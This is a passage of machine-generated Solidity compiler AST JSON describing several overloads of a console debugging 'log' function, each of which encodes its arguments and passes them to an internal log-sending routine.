memory"}},{"id":20141,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20129,"src":"37471:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20142,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20131,"src":"37475:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20143,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20133,"src":"37479:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_71d3850da171f493bcf1bd9faa0694f71484214d8459bca427251a9ad3e9bbd6","typeString":"literal_string \"log(string,bool,uint,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20137,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37410:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20138,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37414:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37410:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37410:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20136,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37394:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37394:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20146,"nodeType":"ExpressionStatement","src":"37394:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37318:3:14","parameters":{"id":20134,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20127,"mutability":"mutable","name":"p0","nameLocation":"37336:2:14","nodeType":"VariableDeclaration","scope":20148,"src":"37322:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20126,"name":"string","nodeType":"ElementaryTypeName","src":"37322:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20129,"mutability":"mutable","name":"p1","nameLocation":"37345:2:14","nodeType":"VariableDeclaration","scope":20148,"src":"37340:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20128,"name":"bool","nodeType":"ElementaryTypeName","src":"37340:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20131,"mutability":"mutable","name":"p2","nameLocation":"37354:2:14","nodeType":"VariableDeclaration","scope":20148,"src":"37349:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20130,"name":"uint","nodeType":"ElementaryTypeName","src":"37349:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20133,"mutability":"mutable","name":"p3","nameLocation":"37366:2:14","nodeType":"VariableDeclaration","scope":20148,"src":"37358:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20132,"name":"address","nodeType":"ElementaryTypeName","src":"37358:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"37321:48:14"},"returnParameters":{"id":20135,"nodeType":"ParameterList","parameters":[],"src":"37384:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20171,"nodeType":"FunctionDefinition","src":"37496:186:14","nodes":[],"body":{"id":20170,"nodeType":"Block","src":"37577:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c75696e7429","id":20162,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37627:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_34cb308d42fc37e3a239bcd0d717cf3713a336733737bee1d82ac9061e969d72","typeString":"literal_string \"log(string,bool,string,uint)\""},"value":"log(string,bool,string,uint)"},{"id":20163,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20150,"src":"37659:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20164,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20152,"src":"37663:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20165,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20154,"src":"37667:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20166,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20156,"src":"37671:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_34cb308d42fc37e3a239bcd0d717cf3713a336733737bee1d82ac9061e969d72","typeString":"literal_string \"log(string,bool,string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20160,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37603:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37607:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37603:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37603:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20159,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37587:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37587:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20169,"nodeType":"ExpressionStatement","src":"37587:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37505:3:14","parameters":{"id":20157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20150,"mutability":"mutable","name":"p0","nameLocation":"37523:2:14","nodeType":"VariableDeclaration","scope":20171,"src":"37509:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20149,"name":"string","nodeType":"ElementaryTypeName","src":"37509:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20152,"mutability":"mutable","name":"p1","nameLocation":"37532:2:14","nodeType":"VariableDeclaration","scope":20171,"src":"37527:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20151,"name":"bool","nodeType":"ElementaryTypeName","src":"37527:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20154,"mutability":"mutable","name":"p2","nameLocation":"37550:2:14","nodeType":"VariableDeclaration","scope":20171,"src":"37536:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20153,"name":"string","nodeType":"ElementaryTypeName","src":"37536:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20156,"mutability":"mutable","name":"p3","nameLocation":"37559:2:14","nodeType":"VariableDeclaration","scope":20171,"src":"37554:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20155,"name":"uint","nodeType":"ElementaryTypeName","src":"37554:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"37508:54:14"},"returnParameters":{"id":20158,"nodeType":"ParameterList","parameters":[],"src":"37577:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20194,"nodeType":"FunctionDefinition","src":"37688:197:14","nodes":[],"body":{"id":20193,"nodeType":"Block","src":"37778:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c737472696e6729","id":20185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37828:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a826caebc65f4a71211c1c7fd8dc9bdd856d7ef7dbeef42d8af156e9f73bc47d","typeString":"literal_string \"log(string,bool,string,string)\""},"value":"log(string,bool,string,string)"},{"id":20186,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20173,"src":"37862:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20187,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20175,"src":"37866:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20188,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20177,"src":"37870:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20189,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20179,"src":"37874:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a826caebc65f4a71211c1c7fd8dc9bdd856d7ef7dbeef42d8af156e9f73bc47d","typeString":"literal_string \"log(string,bool,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20183,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37804:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20184,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37808:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37804:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37804:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20182,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37788:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20191,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37788:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20192,"nodeType":"ExpressionStatement","src":"37788:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37697:3:14","parameters":{"id":20180,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20173,"mutability":"mutable","name":"p0","nameLocation":"37715:2:14","nodeType":"VariableDeclaration","scope":20194,"src":"37701:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20172,"name":"string","nodeType":"ElementaryTypeName","src":"37701:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20175,"mutability":"mutable","name":"p1","nameLocation":"37724:2:14","nodeType":"VariableDeclaration","scope":20194,"src":"37719:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20174,"name":"bool","nodeType":"ElementaryTypeName","src":"37719:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20177,"mutability":"mutable","name":"p2","nameLocation":"37742:2:14","nodeType":"VariableDeclaration","scope":20194,"src":"37728:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20176,"name":"string","nodeType":"ElementaryTypeName","src":"37728:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20179,"mutability":"mutable","name":"p3","nameLocation":"37760:2:14","nodeType":"VariableDeclaration","scope":20194,"src":"37746:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20178,"name":"string","nodeType":"ElementaryTypeName","src":"37746:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37700:63:14"},"returnParameters":{"id":20181,"nodeType":"ParameterList","parameters":[],"src":"37778:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20217,"nodeType":"FunctionDefinition","src":"37891:186:14","nodes":[],"body":{"id":20216,"nodeType":"Block","src":"37972:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c626f6f6c29","id":20208,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38022:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3f8a701d00386d6ad9c7b7a930805b985bcbbe108e894a7d5cb9493e87e57e8b","typeString":"literal_string \"log(string,bool,string,bool)\""},"value":"log(string,bool,string,bool)"},{"id":20209,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20196,"src":"38054:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20210,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20198,"src":"38058:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20211,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20200,"src":"38062:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20212,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20202,"src":"38066:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3f8a701d00386d6ad9c7b7a930805b985bcbbe108e894a7d5cb9493e87e57e8b","typeString":"literal_string \"log(string,bool,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20206,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37998:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20207,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38002:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37998:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37998:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20205,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37982:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37982:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20215,"nodeType":"ExpressionStatement","src":"37982:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37900:3:14","parameters":{"id":20203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20196,"mutability":"mutable","name":"p0","nameLocation":"37918:2:14","nodeType":"VariableDeclaration","scope":20217,"src":"37904:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20195,"name":"string","nodeType":"ElementaryTypeName","src":"37904:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20198,"mutability":"mutable","name":"p1","nameLocation":"37927:2:14","nodeType":"VariableDeclaration","scope":20217,"src":"37922:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20197,"name":"bool","nodeType":"ElementaryTypeName","src":"37922:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20200,"mutability":"mutable","name":"p2","nameLocation":"37945:2:14","nodeType":"VariableDeclaration","scope":20217,"src":"37931:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20199,"name":"string","nodeType":"ElementaryTypeName","src":"37931:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20202,"mutability":"mutable","name":"p3","nameLocation":"37954:2:14","nodeType":"VariableDeclaration","scope":20217,"src":"37949:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20201,"name":"bool","nodeType":"ElementaryTypeName","src":"37949:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"37903:54:14"},"returnParameters":{"id":20204,"nodeType":"ParameterList","parameters":[],"src":"37972:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20240,"nodeType":"FunctionDefinition","src":"38083:192:14","nodes":[],"body":{"id":20239,"nodeType":"Block","src":"38167:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c6164647265737329","id":20231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38217:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0625b292fa5cbc865b55f61713cbbe0ce7abb244ec2df45291ea19c30ddfaf8","typeString":"literal_string \"log(string,bool,string,address)\""},"value":"log(string,bool,string,address)"},{"id":20232,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20219,"src":"38252:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20233,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20221,"src":"38256:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20234,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20223,"src":"38260:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20235,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20225,"src":"38264:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0625b292fa5cbc865b55f61713cbbe0ce7abb244ec2df45291ea19c30ddfaf8","typeString":"literal_string \"log(string,bool,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20229,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38193:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20230,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38197:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38193:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38193:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20228,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"38177:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38177:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20238,"nodeType":"ExpressionStatement","src":"38177:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38092:3:14","parameters":{"id":20226,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20219,"mutability":"mutable","name":"p0","nameLocation":"38110:2:14","nodeType":"VariableDeclaration","scope":20240,"src":"38096:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20218,"name":"string","nodeType":"ElementaryTypeName","src":"38096:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20221,"mutability":"mutable","name":"p1","nameLocation":"38119:2:14","nodeType":"VariableDeclaration","scope":20240,"src":"38114:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20220,"name":"bool","nodeType":"ElementaryTypeName","src":"38114:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20223,"mutability":"mutable","name":"p2","nameLocation":"38137:2:14","nodeType":"VariableDeclaration","scope":20240,"src":"38123:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20222,"name":"string","nodeType":"ElementaryTypeName","src":"38123:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20225,"mutability":"mutable","name":"p3","nameLocation":"38149:2:14","nodeType":"VariableDeclaration","scope":20240,"src":"38141:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20224,"name":"address","nodeType":"ElementaryTypeName","src":"38141:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"38095:57:14"},"returnParameters":{"id":20227,"nodeType":"ParameterList","parameters":[],"src":"38167:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20263,"nodeType":"FunctionDefinition","src":"38281:175:14","nodes":[],"body":{"id":20262,"nodeType":"Block","src":"38353:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c75696e7429","id":20254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38403:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_807531e8eafdd7a15a803e586dd9a01b2aa8ae2cdd52f093775c0dcb0c977edf","typeString":"literal_string \"log(string,bool,bool,uint)\""},"value":"log(string,bool,bool,uint)"},{"id":20255,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20242,"src":"38433:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20256,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20244,"src":"38437:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20257,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20246,"src":"38441:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20258,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20248,"src":"38445:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_807531e8eafdd7a15a803e586dd9a01b2aa8ae2cdd52f093775c0dcb0c977edf","typeString":"literal_string \"log(string,bool,bool,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20252,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38379:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20253,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38383:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38379:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38379:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20251,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"38363:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 